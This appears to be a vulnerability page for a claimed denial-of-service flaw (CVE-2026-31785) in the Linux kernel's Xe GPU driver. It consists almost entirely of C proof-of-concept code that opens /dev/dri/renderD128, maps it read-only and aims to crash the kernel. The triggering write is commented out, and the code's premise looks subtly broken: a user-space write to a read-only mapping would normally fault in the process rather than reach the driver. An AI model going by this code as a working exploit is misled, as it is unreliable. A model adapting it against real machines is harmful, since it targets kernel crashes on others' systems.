CVE-2026-31785 Linux内核drm/xe驱动拒绝服务漏洞

#include <fcntl.h> #include <sys/mman.h> #include <stdio.h> #include <unistd.h> /* * PoC for CVE-2026-31785 * Trigger a write to a read-only VMA in the Xe driver. * Compile: gcc -o poc poc.c */ int main() { int fd; void *map; const char *device = "/dev/dri/renderD128"; // Open the Xe GPU device fd = open(device, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Map memory as Read-Only (PROT_READ) map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } printf("Attempting to write to read-only mapping...\n"); // Attempt to write to trigger the bug in the page fault handler // This should cause a kernel panic or Oops due to missing check // *(int*)map = 0xdeadbeef; // Note: Actual trigger mechanism depends on specific driver // interaction and memory management setup. munmap(map, 4096); close(fd); return 0; }